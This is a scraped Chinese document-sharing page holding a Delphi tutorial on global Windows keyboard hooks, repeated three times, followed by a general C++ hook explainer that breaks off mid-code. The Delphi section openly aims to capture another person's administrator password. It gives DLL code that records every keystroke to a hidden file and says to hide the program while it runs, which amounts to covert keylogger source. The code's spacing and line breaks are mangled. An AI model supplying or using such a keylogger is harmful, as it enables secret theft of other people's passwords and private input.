Delphi编程使用HOOK监视Windows.docx
- 文档编号:3860507
- 上传时间:2022-11-25
- 格式:DOCX
- 页数:20
- 大小:59.97KB
Delphi编程使用HOOK监视Windows.docx
《Delphi编程使用HOOK监视Windows.docx》由会员分享,可在线阅读,更多相关《Delphi编程使用HOOK监视Windows.docx(20页珍藏版)》请在冰豆网上搜索。
Delphi编程使用HOOK监视Windows
Delphi编程使用HOOK监视Windows,如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?
首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。
写个DLL定义一下函数
functionsetkeyhook:
bool;export;
functionendkeyhook:
bool;export;
procedurekeyhookexit;far;
procedureSetMainHandle(Handle:
HWND);export;forward;
functionkeyboardhookhandler(icode:
integer;wparam:
wparam;lparam:
lparam):
lresult;stdcall;export;
procedureEntryPointProc(Reason:
Integer);
const
hMapObject:
THandle=0;
begin
casereasonof
DLL_PROCESS_ATTACH:
begin
hMapObject:
=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(THookRec),’_CBT’);
rHookRec:
=MapViewOfFile(hMapObject,FILE_MAP_WRITE,0,0,0);
end;
DLL_PROCESS_DETACH:
begin
try
UnMapViewOfFile(rHookRec);
CloseHandle(hMapObject);
except
end;
end;
end;
end;
procedurekeyhookexit;far;
begin
ifhNexthookproc<>0thenendkeyhook;
exitproc:
=procsaveexit;
end;
functionendkeyhook:
bool;export;
begin
ifhNexthookproc<>0then
begin
unhookwindowshookex(hNexthookproc);
hNexthookproc:
=0;
messagebeep(0);
end;
result:
=hNexthookproc=0;
MainHandle:
=0;
end;
functionSetkeyhook:
bool;export;
begin
hNexthookproc:
=SetWindowsHookEx(WH_KEYBOARD,keyboardhookhandler,HInstance,0);
result:
=hNexthookproc<>0;
end;
functionkeyboardhookhandler(icode:
integer;wparam:
wparam;lparam:
lparam):
lresult;stdcall;export;
var
s:
Tstringlist;
begin
ificode<0then
begin
result:
=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
exit;
end;
iflparam<0then
begin
exit;
end;
s:
=TStringlist.Create;
ifFileExists(afilename)then
s.LoadFromFile(afilename);
//将敲打的键盘字符保存到文件中
s.Add(formatdatetime(’YYYYMMDDhh:
nn:
ss:
zzz:
’,now)+char(wParam));
s.SaveToFile(afilename);
s.Free;
result:
=0;
end;
Dll的Project文件中定义如下
exports
setkeyhookindex1,
endkeyhookindex2,
SetMainHandleindex3;
begin
hNexthookproc:
=0;
procsaveexit:
=exitproc;
DllProc:
=@EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.
这样DLL就定义好了,接下来就是画个界面:
functionsetkeyhook:
bool;external’keyspy.dll’;
functionendkeyhook:
bool;external’keyspy.dll’;
procedureSetMainHandle(Handle:
HWND);external’keyspy.dll’;
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook
然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:
这些代码是临时写的,仅是为了说明如何写个hook程序。
另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windowsAPI来配合,通过很多技巧作出让人意想不到的效果。
Delphi编程使用HOOK监视Windows
时间:
2010-02-0517:
12:
25 来源:
第二电脑网 作者:
第二电脑网
第二电脑网导读:
候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。
下面就来举个例子(使用Delphi7.0调试通过):
如果你需要访问某个人的机器,那在运行\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记...
正文:
exports
setkeyhookindex1,
endkeyhookindex2,
SetMainHandleindex3;
begin
hNexthookproc:
=0;
procsaveexit:
=exitproc;
DllProc:
=@EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.
这样DLL就定义好了,接下来就是画个界面:
functionsetkeyhook:
bool;external’keyspy.dll’;
functionendkeyhook:
bool;external’keyspy.dll’;
procedureSetMainHandle(Handle:
HWND);external’keyspy.dll’;
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook
然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:
这些代码是临时写的,仅是为了说明如何写个hook程序。
另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windowsAPI来配合,通过很多技巧作出让人意想不到的效果。
来源:
∙Delphi编程使用HOOK监视视窗系统
∙来源:
天极网作者:
天极网发布时间:
2008-04-0217:
09:
50
∙域名注册
o域名惊喜价格cn域名1元注册
ocom域名39.9元
虚拟主机
o主机按月支付,低至19元/月
o超大流量,可开子站点
VPS主机
o特惠VPS168元/月,4-8M独享带宽保证
o独立操作系统,无限开站点
每个程式都有自己的生存空间,在视窗系统系统中你能在所有时候让你的程式执行一些操作,还能触发消息,触发的消息分为三种,一是操作你程式的界面,onClick,onMouseMove等等,另外一个能使用视窗系统的消息机制来捕捉一些系统消息,不过如果你想在所有时候监视所有程式的情况那可能你就会选择HOOK来实现了,虽然更有其他方法,但不得不承认,HOOK是个比较简单解决问题的途径。
下面就来举个例子(使用Delphi7.0调试通过):
如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也能使用黑客工具来得到他的密码,不过,为什么不自己尝试一下写个程式记录所有的键盘操作呢?
首先需要申明一点,Hook不同于一般的应用程式,需要作为一个全局DLL出现,否则无法在你程式不激活的状态捕捉其他信息的,(当然你能用视窗系统消息,这个问题不在这里讨论)。
写个DLL定义一下函数
functionsetkeyhook:
bool;export;
functionendkeyhook:
bool;export;
procedurekeyhookexit;far;
procedureSetMainHandle(Handle:
HWND);export;forward;
functionkeyboardhookhandler(icode:
integer;wparam:
wparam;lparam:
lparam):
lresult;stdcall;export;
procedureEntryPointProc(Reason:
Integer);
const
hMapObject:
THandle=0;
begin
casereasonof
DLL_PROCESS_ATTACH:
begin
hMapObject:
=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(THookRec),’_CBT’);
rHookRec:
=MapViewOfFile(hMapObject,FILE_MAP_WRITE,0,0,0);
end;
DLL_PROCESS_DETACH:
begin
try
UnMapViewOfFile(rHookRec);
CloseHandle(hMapObject);
except
end;
end;
end;
end;
procedurekeyhookexit;far;
begin
ifhNexthookproc<>0thenendkeyhook;
exitproc:
=procsaveexit;
end;
functionendkeyhook:
bool;export;
begin
ifhNexthookproc<>0then
begin
unhookwindowshookex(hNexthookproc);
hNexthookproc:
=0;
messagebeep(0);
end;
result:
=hNexthookproc=0;
MainHandle:
=0;
end;
functionSetkeyhook:
bool;export;
begin
hNexthookproc:
=Set视窗系统HookEx(WH_KEYBOARD,keyboardhookhandler,HInstance,0);
result:
=hNexthookproc<>0;
end;
functionkeyboardhookhandler(icode:
integer;wparam:
wparam;lparam:
lparam):
lresult;stdcall;export;
var
s:
Tstringlist;
begin
ificode<0then
begin
result:
=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
exit;
end;
iflparam<0then
begin
exit;
end;
s:
=TStringlist.Create;
ifFileExists(afilename)then
s.LoadFromFile(afilename);
//将敲打的键盘字符保存到文件中
s.Add(formatdatetime(’YYYYMMDDhh:
nn:
ss:
zzz:
’,now)+char(wParam));
s.SaveToFile(afilename);
s.Free;
result:
=0;
end;
Dll的Project文件中定义如下
exports
setkeyhookindex1,
endkeyhookindex2,
SetMainHandleindex3;
begin
hNexthookproc:
=0;
procsaveexit:
=exitproc;
DllProc:
=@EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.
这样DLL就定义好了,接下来就是画个界面:
functionsetkeyhook:
bool;external’keyspy.dll’;
functionendkeyhook:
bool;external’keyspy.dll’;
procedureSetMainHandle(Handle:
HWND);external’keyspy.dll’;
//开始捕捉键盘
SetMainHandle(handle);
setkeyhook
//中止捕捉键盘
endkeyhook
然后吧你程式隐蔽起来,启动捕捉键盘,在中止捕捉之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:
这些代码是临时写的,仅是为了说明怎么写个hook程式。
另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,能跟非常多windowsAPI来配合,通过非常多技巧作出让人意想不到的效果。
C++的钩子(Hook)编程使用技巧
2007-11-0814:
28
钩子(Hook)是Windows消息处理机制的一个要点(Point)。
应用程序可以通过钩子机制截获处理Window消息或是其他一些特定事件。
同DOS中断截获处理机制类似,应用程序可以在钩子上设置多个钩子函数,由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)。
当钩子所监视的消息出现时,Windows首先将其送到调用链表中所指向的第一个钩子函数中,钩子函数将根据其各自的功能对消息进行监视、修改和控制,并在处理完成后把消息传递给下一钩子函数直至到达钩子链表的末尾。
在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数。
虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。
钩子(Hook)是Windows消息处理机制的一个要点(Point)。
应用程序可以通过钩子机制截获处理Window消息或是其他一些特定事件。
同DOS中断截获处理机制类似,应用程序可以在钩子上设置多个钩子函数,由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)。
当钩子所监视的消息出现时,Windows首先将其送到调用链表中所指向的第一个钩子函数中,钩子函数将根据其各自的功能对消息进行监视、修改和控制,并在处理完成后把消息传递给下一钩子函数直至到达钩子链表的末尾。
在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数。
虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。
可以看出,钩子的本质是一段用以处理系统消息或特定事件的函数,通过系统调用将其挂入到系统。
钩子的种类有很多,每一种钩子负责截获并处理相应的消息。
钩子机制允许应用程序截获并处理发往指定窗口的消息或特定事件,其监视的窗口即可以是本进程内的也可以是由其他进程所创建的。
在特定的消息发出后、达目的窗口前,钩子程序拥有对其控制权,此时的钩子函数除了可以对截获的消息进行各种处理外,甚至还可以强行终止消息的继续传递。
对于多个钩子的安装,最近安装的钩子将被放置于钩子链的开始,最早安装的钩子则放在最后,在钩子监视的消息出现时,*作系统调用链表开始处的第一个钩子函数进行处理,也就是说最后加入的钩子优先获得控制权。
这里提到的钩子函数必须是一个回调函数,而且不能定义为类成员函数,只能是普通的C函数,如:
LRESULTCALLBACKHookProc(intnCode,WPARAMwParam,LPARAMlParam);
线程局部钩子与系统全局钩子
钩子根据其对消息监视范围的不同而分为系统全局钩子和线程局部钩子两大类,其中线程局部钩子只能监视本进程中某个指定的线程,而全局钩子则可对在当前系统下运行的所有线程进行监视。
显然,线程钩子可以看作是全局钩子的一个子集,全局钩子虽然功能强大但同时实现起来也比较烦琐:
其钩子函数的实现必须封装在独立的动态链接库中才可以被各种相关联的应用程序所使用。
虽然对于线程局部钩子并不要求其象系统全局钩子一样必须放置于动态链接库中,但是推荐的做法仍是将其放到动态链接库中去实现。
这样的处理不仅能使钩子为系统内的多个进程所访问,同时也可以在系统中被直接调用。
对于一个只供单进程访问的钩子,还可以将其钩子处理过程放在安装钩子的同一个线程内。
钩子的安装与卸载
系统是通过调用位于钩子链表最开始处的钩子函数而进行消息拦截处理的,因此在设置钩子时要把回调函数放置于钩子链表的链首,*作系统会使其首先被调用。
由函数SetWindowsHookEx()负责将回调函数放置于钩子链表的开始位置。
SetWindowsHookEx()函数原型声明为:
HHOOKSetWindowsHookEx(intidHook;HOOKPROClpfn;HINSTANCEhMod;DWORDdwThreadId);
其中,参数idHook指定了钩子的类型,可以使用的类型有以下13种:
WH_CALLWNDPROC系统将消息发送到指定窗口之前的"钩子"
WH_CALLWNDPROCRET消息已经在窗口中处理的"钩子"
WH_CBT基于计算机培训的"钩子"
WH_DEBUG差错"钩子"
WH_FOREGROUNDIDLE前台空闲窗口"钩子"
WH_GETMESSAGE接收消息投递的"钩子"
WH_JOURNALPLAYBACK回放以前通过WH_JOURNALRECORD"钩子"记录的输入消息
WH_JOURNALRECORD输入消息记录"钩子"
WH_KEYBOARD键盘消息"钩子"
WH_MOUSE鼠标消息"钩子"
WH_MSGFILTER对话框、消息框、菜单或滚动条输入消息"钩子"
WH_SHELL外壳"钩子"
WH_SYSMSGFILTER系统消息"钩子"
参数lpfn为指向钩子函数的指针,也即回调函数的首地址;参数hMod标识了钩子处理函数所处模块的句柄;参数dwThreadId指定被监视的线程,如果明确指定了某个线程的ID就只监视该线程,此时的钩子即为线程钩子;如果该参数被设置为0,则表示此钩子为监视系统所有线程的全局钩子。
此函数在执行完后将返回一个钩子句柄。
在SetWindowsHookEx()函数完成对钩子的安装后,如果被监视的事件发生,系统会立即调用位于相应钩子链表开始处的钩子函数进行处理,每一个钩子函数在进行处理时都要考虑是否需要把事件传递给下一个钩子处理函数。
如果需要传递,就要调用函数CallNestHookEx()。
尽管在理论上不调用CallNestHookEx()也并不算错,但在实际使用时还是强烈建议无论是否需要进行事件传递都要在过程的最后调用一次CallNextHookEx(),否则将会引起一些无法预知的系统行为或是系统锁定。
该函数将返回位于钩子链表中的下一个钩子处理过程的地址,至于具体的返回值类型则要视所设置的钩子类型而定。
CallNextHookEx()的函数原型为:
LRESULTCallNextHookEx(HHOOKhhk;intnCode;WPARAMwParam;LPARAMlParam);
其中,参数hhk为由SetWindowsHookEx()函数返回的当前钩子句柄;参数nCode为传给钩子过程的事件代码;参数wParam和lParam则为传给钩子处理函数的参数值,其具体含义同设置的钩子类型有关。
由于安装钩子对系统的性能有一定的影响,所以在钩子使用完毕后应及时将其卸载以释放其所占资源。
释放钩子的函数为UnhookWindowsHookEx(),该函数比较简单只有一个参数用于指定此前由SetWindowsHookEx()函数所返回的钩子句柄,原型声明如下:
BOOLUnhookWindowsHookEx(HHOOKhhk);
使用鼠标钩子
由于系统全局钩子在功能上完全覆盖了线程局部钩子,因此其实际使用范围要远比线程局部钩子广泛的多。
本节也由此着重对系统全局钩子的使用进行介绍。
鼠标钩子是钩子中比较常用也是使用比较简单的一类钩子。
下面给出的应用示例将通过安装鼠标全局钩子来捕获鼠标当前所处窗口的窗口标题。
由于本例程使用了全局钩子,因此首先构造全局钩子的载体——动态链接库。
考虑到 Win32DLL与Win16DLL存在的差别,在Win32环境下要在多个进程间共享数据,就必须采取一些措施将待共享的数据提取到一个独立的数据段,并通过def文件将其属性设置为读写共享:
#pragmadata_seg("mydata")
HWNDglhPrevTarWnd=NULL;//上次鼠标所指的窗口句柄
HWNDglhDisplay
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Delphi 编程 使用 HOOK 监视 Windows